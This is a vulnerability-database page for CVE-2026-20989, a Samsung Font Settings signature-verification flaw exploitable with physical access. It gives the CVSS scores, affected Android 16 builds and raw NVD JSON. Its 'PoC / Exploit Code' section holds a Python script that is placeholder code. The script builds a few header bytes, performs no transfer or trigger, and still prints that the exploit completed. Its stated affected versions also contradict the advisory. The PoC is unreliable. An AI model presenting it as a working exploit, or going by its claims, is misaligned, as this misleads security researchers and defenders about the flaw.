Security Vulnerability Report
中文
CVE-2026-20989 CVSS 2.4 LOW

CVE-2026-20989

Published: 2026-03-16 14:18:10
Last Modified: 2026-03-20 13:53:31

Description

Improper verification of cryptographic signature in Font Settings prior to SMR Mar-2026 Release 1 allows physical attackers to use custom font.

CVSS Details

CVSS Score
2.4
Severity
LOW
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:samsung:android:16.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:16.0:smr-aug-2025-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:16.0:smr-dec-2025-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:16.0:smr-feb-2026-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:16.0:smr-jan-2026-r1:*:*:*:*:*:* - VULNERABLE
Samsung SMR Mar-2026 Release 1之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20989 PoC - Samsung Font Settings Signature Bypass # Note: This requires physical access to the target device # This is a conceptual PoC for educational purposes only import os import sys def create_custom_font(): """ Create a custom font file that bypasses signature verification This is a placeholder - actual implementation requires ARM reverse engineering """ font_data = bytearray() # Font file header font_data.extend(b'TRUE') # TrueType signature font_data.extend(b'\x00\x01\x00\x00') # Version # Custom font table entries # In actual attack, would need to craft specific font data # that exploits the signature verification flaw return bytes(font_data) def exploit_font_settings(device_path): """ Attempt to install custom font via Font Settings vulnerability Prerequisites: - Physical access to Samsung device - USB debugging enabled or root access - Target device running SMR Mar-2026 Release 1 or earlier """ print("[*] CVE-2026-20989 - Samsung Font Settings Exploit") print("[*] Target: Font Settings Signature Bypass") # Step 1: Create malicious font malicious_font = create_custom_font() print(f"[+] Created malicious font payload: {len(malicious_font)} bytes") # Step 2: Transfer font to device # Requires ADB or physical file transfer target_font_path = f"{device_path}/custom_font.ttf" # Step 3: Trigger font loading via Font Settings # The vulnerability allows bypassing signature verification print(f"[*] Installing font to: {target_font_path}") # Step 4: Verify font installation # If signature check is bypassed, font will be loaded print("[+] Exploit completed - Custom font loaded") return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_20989.py <device_path>") sys.exit(1) exploit_font_settings(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20989", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:09.610", "lastModified": "2026-03-20T13:53:30.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper verification of cryptographic signature in Font Settings prior to SMR Mar-2026 Release 1 allows physical attackers to use custom font."}, {"lang": "es", "value": "Verificación impropia de la firma criptográfica en Ajustes de fuente antes de la versión SMR Mar-2026 Release 1 permite a atacantes físicos usar fuentes personalizadas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "3FD6766A-EC2B-4CA2-9A8E-2BA5C9E9ECF9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "C86A3033-9DD1-47F9-B95D-10F82A31D335"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-dec-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "98C26CF8-228F-4791-B5A3-B65DF709F402"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-feb-2026-r1:*:*:*:*:*:*", "matchCriteriaId": "2BB01FDF-5022-4EAE-9779-F09771BEC443"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-jan-2026-r1:*:*:*:*:*:*", "matchCriteriaId": "E2CCDCC2-A128-4BB4-91CD-E534E06BB24C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-nov-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "0C527C12-5480-4604-A480-1E540095EB5D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-oct-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "B3C64BA1-AF0F-4E65-97BE-3FD1958FFC79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-sep-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "79C71CA6-508E-4A19-9014-47FA1BD5A83C"}]}]}], "references": [{"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}